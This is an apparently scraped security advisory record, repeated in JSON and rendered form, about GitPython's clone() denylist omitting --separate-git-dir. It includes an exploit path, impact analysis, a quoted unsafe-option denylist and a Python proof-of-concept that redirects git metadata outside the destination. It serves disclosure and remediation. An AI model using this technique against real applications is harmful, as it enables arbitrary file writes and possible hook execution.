"details": "- **CWE:** CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the \"escapes intended base directory\" sense)\n- **Affected component:** `git/repo/base.py`, `Repo.unsafe_git_clone_options` (class attribute, lines 153-165) and `Repo._clone()` (lines 1477-1520), reached via the public `Repo.clone_from()` (line 1626) and `Repo.clone()` (line 1567) APIs.\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`Repo.clone_from(url, to_path, **kwargs)` (and `Repo.clone()`) forward arbitrary keyword arguments to the underlying `git clone` invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (`Git._option_candidates`) and checks it against a denylist, `Repo.unsafe_git_clone_options`, via `Git.check_unsafe_options()` \u2014 *unless* the caller passes `allow_unsafe_options=True`. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 \u2192 2026-08-05) have repeatedly found incomplete or bypassable for other options (`--template`, `--upload-pack`, `--config`, `--exec`, `--output`, `--index-output`, `--pathspec-from-file`, etc.).\n\n`git clone` also accepts `--separate-git-dir=\u003cpath\u003e`, which redirects the repository\u0027s entire `.git` metadata directory to an **arbitrary, caller-controlled filesystem path**, leaving only a gitlink text file (`gitdir: \u003cpath\u003e`) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython\u0027s own code: `Repo.unsafe_git_init_options` (line 145-150) blocks `--separate-git-dir` for `Repo.init()`, with the comment *\"Redirects the repository metadata to a caller-controlled path\"*. The `Repo._clone()`/`clone()`/`clone_from()` docstring (line 1450-1452) is even more explicit:\n\n```\n:param allow_unsafe_options:\n Allow unsafe options to be used, such as ``--template`` and\n ``--separate-git-dir``.\n```\n\ni.e. the maintainers\u0027 own documentation states that `allow_unsafe_options=False` (the default) is supposed to block `--separate-git-dir` for clone. But **`Repo.unsafe_git_clone_options` does not contain it**:\n\n```python\nunsafe_git_clone_options = [\n \"--upload-pack\",\n \"-u\",\n \"--config\",\n \"-c\",\n \"--template\",\n \"--bundle-uri\",\n]\n```\n\nSo any application that forwards a `separate_git_dir` (or `separate-git-dir`) kwarg into `Repo.clone_from()` / `Repo.clone()` \u2014 e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling `--template`/`--upload-pack`/`--config` entries in this same list \u2014 gets **no protection at all** for `--separate-git-dir`, even with the default `allow_unsafe_options=False`.\n\n## Root cause\nParity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): `unsafe_git_init_options` correctly lists `--separate-git-dir`; `unsafe_git_clone_options`, covering the same option on a different git subcommand that also accepts it, does not \u2014 despite the function\u0027s own docstring claiming otherwise. This is the same \"denylist omits an equally-dangerous sibling option\" pattern already responsible for `GHSA-539m-9xh6-q6rr` (`archive` denylist missing `--add-file`/`--add-virtual-file`) and `GHSA-6p8h-3wgx-97gf` (`clone` denylist missing `--template`, since fixed).\n\n## Exploit path\n1. Attacker-controlled input reaches a `separate_git_dir=...` (or equivalently `\"separate-git-dir\"`) keyword argument passed into `Repo.clone_from()` / `Repo.clone()` by the host application, with `allow_unsafe_options` left at its default `False`.\n2. `Git._option_candidates()` renders this as `--separate-git-dir` and `Git.check_unsafe_options()` checks it against `Repo.unsafe_git_clone_options` \u2014 no match, no `UnsafeOptionError` raised.\n3. `Git.transform_kwargs()` renders the same kwarg into the real command line as `--separate-git-dir=\u003cattacker path\u003e` and GitPython executes `git clone -v --separate-git-dir=\u003cattacker path\u003e -- \u003curl\u003e \u003cdest\u003e` via `subprocess` (no shell).\n4. `git` itself creates the full repository metadata tree (`config`, `description`, `HEAD`, `hooks/`, `index`, `objects/`, `refs/`, `packed-refs`, `logs/`) at the attacker-specified path \u2014 which can be **any path outside the intended clone destination** that the process has permission to create \u2014 and leaves a gitlink file at the intended destination pointing to it.\n\n## Impact\nArbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity `GHSA-hmq2-w58f-27jc` (\"Arbitrary Git Repository Creation Outside the Working Tree\", CVSS 8.2). Concretely:\n- Planting a git repository structure (including a `hooks/` directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.\n- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository\u0027s `.git`, a shared cache path, a predictable temp location), the clone silently populates/overwrites `config`, `HEAD`, `hooks/*`, `refs/*`, `packed-refs`, and `index` there \u2014 an integrity violation of a resource outside the intended destination.\n- Combined with any later operation that runs `git` against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for `--template` in `GHSA-9rj7-rf2p-w77r`.\n\n## Preconditions\n- The calling application forwards a caller-influenced value into a `separate_git_dir` kwarg of `Repo.clone_from()`/`Repo.clone()` (or into the `multi_options` list as a raw `--separate-git-dir=...` token) without itself validating/rejecting it, and does not pass `allow_unsafe_options=True` intentionally. This is the identical trust model GitPython\u0027s own denylist already defends for `--template`/`--upload-pack`/`--config`/`--bundle-uri` on the very same code path \u2014 i.e. this option was clearly meant to be covered by the same guard and was simply omitted.\n- No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.\n\n## Evidence\n- `git/repo/base.py:145-151` \u2014 `unsafe_git_init_options` includes `\"--separate-git-dir\"` with the comment \"Redirects the repository metadata to a caller-controlled path\".\n- `git/repo/base.py:153-165` \u2014 `unsafe_git_clone_options` (the list actually enforced on `_clone`) does **not** include `\"--separate-git-dir\"`.\n- `git/repo/base.py:1450-1452` \u2014 docstring of `clone_from`/`clone` explicitly documents `--separate-git-dir` as one of the options `allow_unsafe_options` is supposed to gate.\n- `git/repo/base.py:1495-1518` \u2014 `_clone()` special-cases `separate_git_dir` only to `Git.polish_url()` it (path normalization for URL-like values), then runs it through `Git.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)` \u2014 which, per the list above, does not flag it.\n- PoC (`gitpython-001-poc.py`, embedded below) run against this exact checkout confirms the option reaches the real `git clone` subprocess unguarded and creates a full git directory outside the destination path, with `allow_unsafe_options` at its default `False`.\n\n## False-positive check (adversarial re-read)\n- **Is there a value-level check that would still stop this?** No \u2014 `check_unsafe_options` only inspects option *names* (via `_canonicalize_option_name`) against the denylist; it performs no filesystem/path validation on `separate_git_dir`\u0027s value, and no other guard in `_clone()` touches this kwarg besides the `Git.polish_url()` normalization (which does not reject arbitrary paths).\n- **Is `--separate-git-dir` perhaps a no-op or safely sandboxed for `clone` specifically (unlike `init`)?** No \u2014 confirmed empirically: the option reaches the real `git` binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path.\n- **Could this be the exact bug already covered by one of the 26 published GHSAs?** Checked all 26 entries in `_known-advisories.json` (Filter 0): `GHSA-9rj7-rf2p-w77r` covers `--template` in `Repo.init`; `GHSA-6p8h-3wgx-97gf` covers `--template` in clone (already fixed, present in `unsafe_git_clone_options`); `GHSA-hmq2-w58f-27jc` covers arbitrary repo creation via unvalidated **`.gitmodules` submodule names** (a different code path \u2014 `Submodule`, not `Repo.clone_from()` kwargs). None reference `--separate-git-dir` on the clone path. This is a distinct, currently-unpatched gap.\n- **Does this require an unrealistic precondition?** The precondition (host app forwards a kwarg into `clone_from`/`clone`) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (`--template`, `--upload-pack`, `--config`, `--bundle-uri`) \u2014 i.e. it is the same threat model the guard exists to cover, just missing one entry.\n- Verdict: no concrete blocker found. **CONFIRMED.**\n\n## Remediation\nAdd `\"--separate-git-dir\"` (and its `-` alias if git ever adds one \u2014 currently there is none) to `Repo.unsafe_git_clone_options` in `git/repo/base.py`, matching `unsafe_git_init_options`. Since `Repo._clone()` already special-cases `separate_git_dir` for `Git.polish_url()` normalization, the fix is a one-line addition to the existing list, consistent with how `GHSA-6p8h-3wgx-97gf` added `--template` to the same list.\n\n## Confidence\nHigh. Root cause is a one-line, unambiguous omission the maintainers\u0027 own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.\n\n\n## Proof-of-Concept source (`gitpython-001-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in\nunsafe_git_clone_options, so it reaches `git clone` unguarded and writes a\nfull git directory (config, hooks/, objects/, refs/, ...) to an\nattacker-controlled path OUTSIDE the intended destination directory, with\nallow_unsafe_options left at its default of False.\n\nRun against the GitPython source tree under test, e.g.:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-001-poc.py \u003cworkdir\u003e\n\nBenign: only writes/reads inside the given workdir. No destructive/exfiltrating\npayload. Exits non-zero and prints \"NOT VULNERABLE\" if the guard blocks the option\nor the write does not escape the destination directory.\n\"\"\"\nimport os\nimport sys\nimport subprocess\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-001-poc\"\n src = os.path.join(workdir, \"src\")\n dest = os.path.join(workdir, \"dest\")\n sentinel_dir = os.path.join(workdir, \"OUTSIDE_SENTINEL\")\n target_gitdir = os.path.join(sentinel_dir, \"redirected.git\")\n\n for p in (src, dest, sentinel_dir):\n os.makedirs(p, exist_ok=True)\n\n # Minimal benign source repo to clone from.\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", src], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.email\", \"test@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.name\", \"Test\"], check=True)\n with open(os.path.join(src, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n subprocess.run([\"git\", \"-C\", src, \"add\", \"file.txt\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n\n print(\"unsafe_git_clone_options =\", git.Repo.unsafe_git_clone_options)\n assert \"--separate-git-dir\" not in git.Repo.unsafe_git_clone_options, (\n \"guard now includes --separate-git-dir; PoC no longer applicable, target patched\"\n )\n\n try:\n repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)\n except git.exc.UnsafeOptionError as e:\n print(\"NOT VULNERABLE: blocked by UnsafeOptionError:\", e)\n sys.exit(1)\n\n wrote_outside = os.path.isdir(os.path.join(target_gitdir, \"hooks\")) and os.path.isfile(\n os.path.join(target_gitdir, \"config\")\n )\n gitlink_points_outside = False\n with open(os.path.join(dest, \".git\")) as f:\n gitlink = f.read().strip()\n gitlink_points_outside = target_gitdir in gitlink\n\n print(\"repo.git_dir =\", repo.git_dir)\n print(\"wrote git directory outside dest (sentinel) =\", wrote_outside)\n print(\"dest/.git gitlink points outside dest =\", gitlink_points_outside)\n\n if wrote_outside and gitlink_points_outside:\n print(\"VULNERABLE: git directory created at attacker-controlled path \"\n f\"outside the clone destination: {target_gitdir}\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: sentinel not observed\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "BREW-conda-lock-CVE-2026-78677",
"modified": "2026-09-17T18:12:38Z",
"published": "2026-09-04T08:51:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78677"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2210"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination",
"upstream": [
"PYSEC-2026-3787",
"CVE-2026-78677",
"GHSA-8mcc-hrx5-hvxc"
]
}
BREW-CRUFT-CVE-2026-78677 (PYSEC-2026-3787)
Vulnerability from osv_homebrew – Published: 2026-09-04 08:52 – Updated: 2026-09-17 19:38 – Source website- CWE: CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense)
- Affected component:
git/repo/base.py,Repo.unsafe_git_clone_options(class attribute, lines 153-165) andRepo._clone()(lines 1477-1520), reached via the publicRepo.clone_from()(line 1626) andRepo.clone()(line 1567) APIs. - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
Repo.clone_from(url, to_path, **kwargs) (and Repo.clone()) forward arbitrary keyword arguments to the underlying git clone invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (Git._option_candidates) and checks it against a denylist, Repo.unsafe_git_clone_options, via Git.check_unsafe_options() — unless the caller passes allow_unsafe_options=True. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (--template, --upload-pack, --config, --exec, --output, --index-output, --pathspec-from-file, etc.).
git clone also accepts --separate-git-dir=<path>, which redirects the repository's entire .git metadata directory to an arbitrary, caller-controlled filesystem path, leaving only a gitlink text file (gitdir: <path>) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: Repo.unsafe_git_init_options (line 145-150) blocks --separate-git-dir for Repo.init(), with the comment "Redirects the repository metadata to a caller-controlled path". The Repo._clone()/clone()/clone_from() docstring (line 1450-1452) is even more explicit:
:param allow_unsafe_options:
Allow unsafe options to be used, such as ``--template`` and
``--separate-git-dir``.
i.e. the maintainers' own documentation states that allow_unsafe_options=False (the default) is supposed to block --separate-git-dir for clone. But Repo.unsafe_git_clone_options does not contain it:
unsafe_git_clone_options = [
"--upload-pack",
"-u",
"--config",
"-c",
"--template",
"--bundle-uri",
]
So any application that forwards a separate_git_dir (or separate-git-dir) kwarg into Repo.clone_from() / Repo.clone() — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling --template/--upload-pack/--config entries in this same list — gets no protection at all for --separate-git-dir, even with the default allow_unsafe_options=False.
Root cause
Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): unsafe_git_init_options correctly lists --separate-git-dir; unsafe_git_clone_options, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for GHSA-539m-9xh6-q6rr (archive denylist missing --add-file/--add-virtual-file) and GHSA-6p8h-3wgx-97gf (clone denylist missing --template, since fixed).
Exploit path
- Attacker-controlled input reaches a
separate_git_dir=...(or equivalently"separate-git-dir") keyword argument passed intoRepo.clone_from()/Repo.clone()by the host application, withallow_unsafe_optionsleft at its defaultFalse. Git._option_candidates()renders this as--separate-git-dirandGit.check_unsafe_options()checks it againstRepo.unsafe_git_clone_options— no match, noUnsafeOptionErrorraised.Git.transform_kwargs()renders the same kwarg into the real command line as--separate-git-dir=<attacker path>and GitPython executesgit clone -v --separate-git-dir=<attacker path> -- <url> <dest>viasubprocess(no shell).gititself creates the full repository metadata tree (config,description,HEAD,hooks/,index,objects/,refs/,packed-refs,logs/) at the attacker-specified path — which can be any path outside the intended clone destination that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.
Impact
Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity GHSA-hmq2-w58f-27jc ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely:
- Planting a git repository structure (including a hooks/ directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.
- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's .git, a shared cache path, a predictable temp location), the clone silently populates/overwrites config, HEAD, hooks/*, refs/*, packed-refs, and index there — an integrity violation of a resource outside the intended destination.
- Combined with any later operation that runs git against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for --template in GHSA-9rj7-rf2p-w77r.
Preconditions
- The calling application forwards a caller-influenced value into a
separate_git_dirkwarg ofRepo.clone_from()/Repo.clone()(or into themulti_optionslist as a raw--separate-git-dir=...token) without itself validating/rejecting it, and does not passallow_unsafe_options=Trueintentionally. This is the identical trust model GitPython's own denylist already defends for--template/--upload-pack/--config/--bundle-urion the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted. - No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.
Evidence
git/repo/base.py:145-151—unsafe_git_init_optionsincludes"--separate-git-dir"with the comment "Redirects the repository metadata to a caller-controlled path".git/repo/base.py:153-165—unsafe_git_clone_options(the list actually enforced on_clone) does not include"--separate-git-dir".git/repo/base.py:1450-1452— docstring ofclone_from/cloneexplicitly documents--separate-git-diras one of the optionsallow_unsafe_optionsis supposed to gate.git/repo/base.py:1495-1518—_clone()special-casesseparate_git_dironly toGit.polish_url()it (path normalization for URL-like values), then runs it throughGit.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)— which, per the list above, does not flag it.- PoC (
gitpython-001-poc.py, embedded below) run against this exact checkout confirms the option reaches the realgit clonesubprocess unguarded and creates a full git directory outside the destination path, withallow_unsafe_optionsat its defaultFalse.
False-positive check (adversarial re-read)
- Is there a value-level check that would still stop this? No —
check_unsafe_optionsonly inspects option names (via_canonicalize_option_name) against the denylist; it performs no filesystem/path validation onseparate_git_dir's value, and no other guard in_clone()touches this kwarg besides theGit.polish_url()normalization (which does not reject arbitrary paths). - Is
--separate-git-dirperhaps a no-op or safely sandboxed forclonespecifically (unlikeinit)? No — confirmed empirically: the option reaches the realgitbinary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path. - Could this be the exact bug already covered by one of the 26 published GHSAs? Checked all 26 entries in
_known-advisories.json(Filter 0):GHSA-9rj7-rf2p-w77rcovers--templateinRepo.init;GHSA-6p8h-3wgx-97gfcovers--templatein clone (already fixed, present inunsafe_git_clone_options);GHSA-hmq2-w58f-27jccovers arbitrary repo creation via unvalidated.gitmodulessubmodule names (a different code path —Submodule, notRepo.clone_from()kwargs). None reference--separate-git-diron the clone path. This is a distinct, currently-unpatched gap. - Does this require an unrealistic precondition? The precondition (host app forwards a kwarg into
clone_from/clone) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (--template,--upload-pack,--config,--bundle-uri) — i.e. it is the same threat model the guard exists to cover, just missing one entry. - Verdict: no concrete blocker found. CONFIRMED.
Remediation
Add "--separate-git-dir" (and its - alias if git ever adds one — currently there is none) to Repo.unsafe_git_clone_options in git/repo/base.py, matching unsafe_git_init_options. Since Repo._clone() already special-cases separate_git_dir for Git.polish_url() normalization, the fix is a one-line addition to the existing list, consistent with how GHSA-6p8h-3wgx-97gf added --template to the same list.
Confidence
High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.
Proof-of-Concept source (gitpython-001-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in
unsafe_git_clone_options, so it reaches `git clone` unguarded and writes a
full git directory (config, hooks/, objects/, refs/, ...) to an
attacker-controlled path OUTSIDE the intended destination directory, with
allow_unsafe_options left at its default of False.
Run against the GitPython source tree under test, e.g.:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-001-poc.py <workdir>
Benign: only writes/reads inside the given workdir. No destructive/exfiltrating
payload. Exits non-zero and prints "NOT VULNERABLE" if the guard blocks the option
or the write does not escape the destination directory.
"""
import os
import sys
import subprocess
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-001-poc"
src = os.path.join(workdir, "src")
dest = os.path.join(workdir, "dest")
sentinel_dir = os.path.join(workdir, "OUTSIDE_SENTINEL")
target_gitdir = os.path.join(sentinel_dir, "redirected.git")
for p in (src, dest, sentinel_dir):
os.makedirs(p, exist_ok=True)
# Minimal benign source repo to clone from.
subprocess.run(["git", "init", "-q", "-b", "main", src], check=True)
subprocess.run(["git", "-C", src, "config", "user.email", "test@example.com"], check=True)
subprocess.run(["git", "-C", src, "config", "user.name", "Test"], check=True)
with open(os.path.join(src, "file.txt"), "w") as f:
f.write("hello\n")
subprocess.run(["git", "-C", src, "add", "file.txt"], check=True)
subprocess.run(["git", "-C", src, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
print("unsafe_git_clone_options =", git.Repo.unsafe_git_clone_options)
assert "--separate-git-dir" not in git.Repo.unsafe_git_clone_options, (
"guard now includes --separate-git-dir; PoC no longer applicable, target patched"
)
try:
repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)
except git.exc.UnsafeOptionError as e:
print("NOT VULNERABLE: blocked by UnsafeOptionError:", e)
sys.exit(1)
wrote_outside = os.path.isdir(os.path.join(target_gitdir, "hooks")) and os.path.isfile(
os.path.join(target_gitdir, "config")
)
gitlink_points_outside = False
with open(os.path.join(dest, ".git")) as f:
gitlink = f.read().strip()
gitlink_points_outside = target_gitdir in gitlink
print("repo.git_dir =", repo.git_dir)
print("wrote git directory outside dest (sentinel) =", wrote_outside)
print("dest/.git gitlink points outside dest =", gitlink_points_outside)
if wrote_outside and gitlink_points_outside:
print("VULNERABLE: git directory created at attacker-controlled path "
f"outside the clone destination: {target_gitdir}")
sys.exit(0)
else:
print("NOT VULNERABLE: sentinel not observed")
sys.exit(1)
if __name__ == "__main__":
main()
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.61",
"upstream_fixed_in": "3.1.59"
},
"package": {
"ecosystem": "Homebrew",
"name": "cruft",
"purl": "pkg:brew/cruft"
},
"ranges": [
{
"events": [
{
"introduced": "2.9.0"
},
{
"fixed": "2.16.0_15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.61",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.61"
}
]
},
"details": "- **CWE:** CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the \"escapes intended base directory\" sense)\n- **Affected component:** `git/repo/base.py`, `Repo.unsafe_git_clone_options` (class attribute, lines 153-165) and `Repo._clone()` (lines 1477-1520), reached via the public `Repo.clone_from()` (line 1626) and `Repo.clone()` (line 1567) APIs.\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`Repo.clone_from(url, to_path, **kwargs)` (and `Repo.clone()`) forward arbitrary keyword arguments to the underlying `git clone` invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (`Git._option_candidates`) and checks it against a denylist, `Repo.unsafe_git_clone_options`, via `Git.check_unsafe_options()` \u2014 *unless* the caller passes `allow_unsafe_options=True`. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 \u2192 2026-08-05) have repeatedly found incomplete or bypassable for other options (`--template`, `--upload-pack`, `--config`, `--exec`, `--output`, `--index-output`, `--pathspec-from-file`, etc.).\n\n`git clone` also accepts `--separate-git-dir=\u003cpath\u003e`, which redirects the repository\u0027s entire `.git` metadata directory to an **arbitrary, caller-controlled filesystem path**, leaving only a gitlink text file (`gitdir: \u003cpath\u003e`) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython\u0027s own code: `Repo.unsafe_git_init_options` (line 145-150) blocks `--separate-git-dir` for `Repo.init()`, with the comment *\"Redirects the repository metadata to a caller-controlled path\"*. The `Repo._clone()`/`clone()`/`clone_from()` docstring (line 1450-1452) is even more explicit:\n\n```\n:param allow_unsafe_options:\n Allow unsafe options to be used, such as ``--template`` and\n ``--separate-git-dir``.\n```\n\ni.e. the maintainers\u0027 own documentation states that `allow_unsafe_options=False` (the default) is supposed to block `--separate-git-dir` for clone. But **`Repo.unsafe_git_clone_options` does not contain it**:\n\n```python\nunsafe_git_clone_options = [\n \"--upload-pack\",\n \"-u\",\n \"--config\",\n \"-c\",\n \"--template\",\n \"--bundle-uri\",\n]\n```\n\nSo any application that forwards a `separate_git_dir` (or `separate-git-dir`) kwarg into `Repo.clone_from()` / `Repo.clone()` \u2014 e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling `--template`/`--upload-pack`/`--config` entries in this same list \u2014 gets **no protection at all** for `--separate-git-dir`, even with the default `allow_unsafe_options=False`.\n\n## Root cause\nParity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): `unsafe_git_init_options` correctly lists `--separate-git-dir`; `unsafe_git_clone_options`, covering the same option on a different git subcommand that also accepts it, does not \u2014 despite the function\u0027s own docstring claiming otherwise. This is the same \"denylist omits an equally-dangerous sibling option\" pattern already responsible for `GHSA-539m-9xh6-q6rr` (`archive` denylist missing `--add-file`/`--add-virtual-file`) and `GHSA-6p8h-3wgx-97gf` (`clone` denylist missing `--template`, since fixed).\n\n## Exploit path\n1. Attacker-controlled input reaches a `separate_git_dir=...` (or equivalently `\"separate-git-dir\"`) keyword argument passed into `Repo.clone_from()` / `Repo.clone()` by the host application, with `allow_unsafe_options` left at its default `False`.\n2. `Git._option_candidates()` renders this as `--separate-git-dir` and `Git.check_unsafe_options()` checks it against `Repo.unsafe_git_clone_options` \u2014 no match, no `UnsafeOptionError` raised.\n3. `Git.transform_kwargs()` renders the same kwarg into the real command line as `--separate-git-dir=\u003cattacker path\u003e` and GitPython executes `git clone -v --separate-git-dir=\u003cattacker path\u003e -- \u003curl\u003e \u003cdest\u003e` via `subprocess` (no shell).\n4. `git` itself creates the full repository metadata tree (`config`, `description`, `HEAD`, `hooks/`, `index`, `objects/`, `refs/`, `packed-refs`, `logs/`) at the attacker-specified path \u2014 which can be **any path outside the intended clone destination** that the process has permission to create \u2014 and leaves a gitlink file at the intended destination pointing to it.\n\n## Impact\nArbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity `GHSA-hmq2-w58f-27jc` (\"Arbitrary Git Repository Creation Outside the Working Tree\", CVSS 8.2). Concretely:\n- Planting a git repository structure (including a `hooks/` directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.\n- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository\u0027s `.git`, a shared cache path, a predictable temp location), the clone silently populates/overwrites `config`, `HEAD`, `hooks/*`, `refs/*`, `packed-refs`, and `index` there \u2014 an integrity violation of a resource outside the intended destination.\n- Combined with any later operation that runs `git` against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for `--template` in `GHSA-9rj7-rf2p-w77r`.\n\n## Preconditions\n- The calling application forwards a caller-influenced value into a `separate_git_dir` kwarg of `Repo.clone_from()`/`Repo.clone()` (or into the `multi_options` list as a raw `--separate-git-dir=...` token) without itself validating/rejecting it, and does not pass `allow_unsafe_options=True` intentionally. This is the identical trust model GitPython\u0027s own denylist already defends for `--template`/`--upload-pack`/`--config`/`--bundle-uri` on the very same code path \u2014 i.e. this option was clearly meant to be covered by the same guard and was simply omitted.\n- No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.\n\n## Evidence\n- `git/repo/base.py:145-151` \u2014 `unsafe_git_init_options` includes `\"--separate-git-dir\"` with the comment \"Redirects the repository metadata to a caller-controlled path\".\n- `git/repo/base.py:153-165` \u2014 `unsafe_git_clone_options` (the list actually enforced on `_clone`) does **not** include `\"--separate-git-dir\"`.\n- `git/repo/base.py:1450-1452` \u2014 docstring of `clone_from`/`clone` explicitly documents `--separate-git-dir` as one of the options `allow_unsafe_options` is supposed to gate.\n- `git/repo/base.py:1495-1518` \u2014 `_clone()` special-cases `separate_git_dir` only to `Git.polish_url()` it (path normalization for URL-like values), then runs it through `Git.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)` \u2014 which, per the list above, does not flag it.\n- PoC (`gitpython-001-poc.py`, embedded below) run against this exact checkout confirms the option reaches the real `git clone` subprocess unguarded and creates a full git directory outside the destination path, with `allow_unsafe_options` at its default `False`.\n\n## False-positive check (adversarial re-read)\n- **Is there a value-level check that would still stop this?** No \u2014 `check_unsafe_options` only inspects option *names* (via `_canonicalize_option_name`) against the denylist; it performs no filesystem/path validation on `separate_git_dir`\u0027s value, and no other guard in `_clone()` touches this kwarg besides the `Git.polish_url()` normalization (which does not reject arbitrary paths).\n- 